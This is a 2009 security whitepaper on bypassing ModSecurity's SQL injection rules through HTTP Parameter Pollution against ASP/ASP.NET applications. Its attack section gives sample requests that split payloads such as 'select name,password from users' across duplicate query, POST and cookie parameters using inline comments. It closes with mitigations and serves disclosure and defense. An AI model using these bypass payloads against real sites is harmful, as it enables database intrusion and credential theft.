Split and Join

Bypassing Web Application Firewalls with HTTP Parameter Pollution

By,
Lavakumar Kuppan
www.lavakumar.com
9th June, 2009

Abstract:

Web Application Firewalls (WAFs) monitor HTTP traffic and try to block application-level attacks based on a white-list or black-list rule base.

They have their own implementation of HTTP which could be different from the implementation in the web server that they are trying to protect.

Depending on how the finer details and abnormalities in the protocol are handled by the WAF and the web server, the same HTTP packet could be interpreted in different ways by both these devices.

This behavior is generally termed as 'Impedance Mismatch' and its security implications are filter bypass attacks. Attacks against impedance mismatch have been discovered in many WAFs in the past and it also affects network firewalls, where the difference in the TCP/IP stack implementation is targeted.

There is one type of impedance mismatch which has received little to no attention till now, which is the effect of having multiple GET/POST/Cookie parameters of the same name in a single HTTP request. Sending multiple duplicate parameters has been termed as HTTP Parameter Pollution by Luca Carettoni and Stefano Di Paola.

In this paper we discuss how ASP and ASP.NET applications running on IIS behave when they receive requests with multiple HTTP parameters of the same name. And how this behavior can be used to bypass Web Application Firewalls, using the popular Open Source WAF, ModSecurity, running on the default Core Rules as an example.

Through the rest of this paper 'HTTP parameters' refers to GET,POST and Cookie parameters unless explicitly specified otherwise and 'ASP/ASP.NET applications' refer to ASP/ASP.NET applications running on IIS 6.

ASP/ASP.Net's behavior:

When multiple GET/POST/Cookie parameters of the same name are passed in the HTTP request to ASP and ASP.NET applications they are treated as an array collection. This leads to the values being concatenated with a comma in-between them.

Consider the below HTTP request:

```
POST /index.aspx?a=1&a=2
Host: www.example.com
Cookie: a=5; a=6
Content-Length: 7

a=3&a=4
```

Request 1.0: Sample HTTP POST request with multiple parameters of same name

In this request, the parameter **'a'** is present more than once and is present in the querystring, POST body and the cookie.

If this request is sent to ASP/ASP.NET applications then the formation of the value of 'a' on the server-side is interesting.

ASP/ASP.NET concatenates the value of each instance of the parameter with a comma in-between them.

And the order of the values is from left to right, that is the value of the first instance of the parameter comes first and then the second and so on.

And between the different sections of the request, the values in the querystring come first followed by the values in the POST body and then finally the values in the Cookie.

In the above request the value of **'a'** would be put together like this – **'1,2,3,4,5,6'**.

In ASP/ASP.NET the values of the request parameters are stored in the properties of the 'Request' object.

The following properties get the request parameters values:

1) Request.QueryString:
   Available in both ASP and ASP.NET and it gets the values of the parameters passed in the querysting of both GET and POST methods.

2) Request.Form:
   Available in both ASP and ASP.NET and it gets the values of the parameters passed in the POST body.

3) Request.Params:
   Available only in ASP.NET and it gets the values of the parameters passed in the Querystring, POST body and from the Cookies in that exact order. In ASP.NET form fields have to be registered as server-side controls otherwise their presence in the POST body is ignored.

In the case of **request 1.0** the values of these properties would be:

Property	Value of the parameter	Conditions and Support
Request.Params["a"]	1,2,3,4,5,6	If 'a' was registered as a server-side control **ASP.NET Only**
Request.Params["a"]	1,2,5,6	If 'a' was not registered as a server-side control **ASP.NET Only**
Request.QueryString["a"]	1,2	**ASP and ASP.NET**
Request.Form["a"]	3,4	**ASP and ASP.NET**

Table 1.0: Value formations of the different properties of 'request' object

ModSecurity's Behavior:

ModSecurity's interpretation of multiple parameters of the same name is very straight forward.

It considers every instance of the same parameter as a separate parameter and that is how it compares against its rule base.

Incase of **request 1.0**, ModSecurity would take the value of each instance of 'a' and match it against its rule base.

That is, it would match '1' separately first and then '2' and so on till '6'.

This is very different from how ASP/ASP.NET handles these requests and hence the same request is interpreted by ModSecurity and ASP/ASP.NET in two very different ways and the meaning on the parameter's values are also completely different in either case.

Filter Bypass:

This difference in behavior can be used to bypass the SQL Injection filters in the ModSecurity Core Rules.

Basic Attack:

The following request matches against the ModSecurity Core Rules as a SQL Injection attack and is blocked by the device:

```
http://www.example.com/search.aspx?q=select name,password from users
```

Request 1.1: Simple SQL Injection on a URL parameter

When the same payload is split against multiple parameters of the same name ModSecurity fails to block it.

```
http://www.example.com/search.aspx?q=select name&q=password from users
```

Request 1.2: SQL Injection payload split in two URL parameters of same name

Request 1.2 has the exact same effect on the server-side since ASP/ASP.NET concatenates the duplicate values together.

ModSecurity's interpretation of **request 1.2** is:

```
q= select name
q= password from users
```

ASP/ASP.NET's interpretation of **request 1.2** is:

```
q= select name,password from users
--------------------------------------------------------------------------------
Request.QueryString["q"] => select name,password from users
```

This attack can be carried out on a POST variable in a similar way:

```
POST /search.aspx
Host: www.example.com
Content-Length: 35

q=select name&q=password from users
```

Request 1.3: SQL Injection payload split in two POST parameters of same name

ModSecurity's interpretation of **request 1.3** is:

```
q= select name
q= password from users
```

ASP/ASP.NET's interpretation of **request 1.3** is:

```
q= select name,password from users
--------------------------------------------------------------------------------
Request.Forms["q"] => select name,password from users
```

Using Inline Comments:

Almost all ASP/ASP.NET applications use MS SQL as the backend database.
MS SQL supports inline comments, where an inline comment can substitute for a space character.

Inline comments greatly ease the payload splitting process as the comma introduced by the server can be nullified now.

The basic attack discussed earlier can now be improved by using the inline comments feature as show below:

```
http://www.example.com/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/users
```

Request 1.4: SQL Injection payload with inline comments

ModSecurity's interpretation of **request 1.4** is:

```
q=select/*
q=*/name
q=password/*
q=*/from/*
q=*/users
```

ASP/ASP.NET's interpretation of **request 1.4** is:

```
q= select/*,*/name,password/*,*/from/*,*/users
-------------------------------------------------------------------------------
Request.QueryString["q"] => select/*,*/name,password/*,*/from/*,*/users
```

If the target is an ASP.NET application using 'Request.Params' to gather HTTP parameter value then the payload can be split across the Querystring, POST body and the Cookie.

The below request shows how the payload is split:

```
POST /index.aspx?q=select/*&q=*/name
Host: www.example.com
Cookie: q=*/users
Content-Length: 23

q=password/*&q=*/from/*
```

Request 1.5: SQL Injection payload with inline comments across all fields

ModSecurity's interpretation of **request 1.5** is:

```
q=select/*
 q=*/name
 q=password/*
 q=*/from/*
 q=*/users
```

ASP/ASP.NET's interpretation of **request 1.5** is:

```
q= select/*,*/name,password/*,*/from/*,*/users
-----------------------------------------------------------------------------------------
Request.Params["q"] --> select/*,*/name,password/*,*/from/*,*/users
```

It should be evident by now that the inline comments feature makes the payload splitting process very flexible.

Each character, symbol or word which is split by a space can be put in a separate parameter using this technique.

This would effectively mean that ModSecurity would only be looking at a single word, character or symbol at one time when trying to match against its rule base.

This makes it possible to bypass all signatures for SQL Injection attack in the ModSecurity Core Rules.

Mitigation:

The easiest mitigation to this attack would be for the WAF to disallow multiple instances of the same parameter in a single HTTP request. This would prevent all variations of this attack.

However this might not be possible in all cases as some applications might have a legitimate need for multiple duplicate parameters. And they might be designed to send and accept multiple HTTP parameters of the same name in the same request.

To protect these applications the WAF should also interpret the HTTP request in the same way the web application would.

In this case it would mean concatenating the multiple GET/POST/Cookie parameters together with a comma in-between them.

The order of concatenation should be same as ASP/ASP.NET applications', which has been discussed above.

However, there is one important caveat to be considered here.

In ASP.NET applications when ‘Request.Params’ is used then the addition of POST body data to the parameter depends on it being declared as a server-side control.

In order to accommodate this, the WAF should add values in all the combinations shown in **table 1.0**

Notes and Credit:

The attacks described in this whitepaper were tested on ModSecurity v2.5.9 using the ModSecurity Core Rules v 2.5-1.6.1.
These versions were the latest at the time of this writing.

Though the attacks were only tested on ModSecurity they might be effective against other Web Application Firewalls as well.
Because HTTP Parameter Pollution is a new concept, with little to no formal work in that area before, most WAF vendors/developers might not have considered this line of attack.

A big thanks to Luca Carettoni for introducing me to the concept of using duplicate parameters. He used this technique very effectively in developing a POC exploit for DFLabs PTK which is a PHP application.

It is when studying the effect of duplicate parameters on other application environments that I found that ASP & ASP.NET behaved very differently and this could be used for WAF bypass.

References:

- ModSecurity (Core Rules) HPP Filter Bypass Vulnerability
  http://www.lavakumar.com/modsecurity_hpp.txt
- HTTP Parameter Pollution
  http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
- DFLabs PTK Local Command Execution Vulnerability
  http://www.ikkisoft.com/stuff/LC-2008-07.txt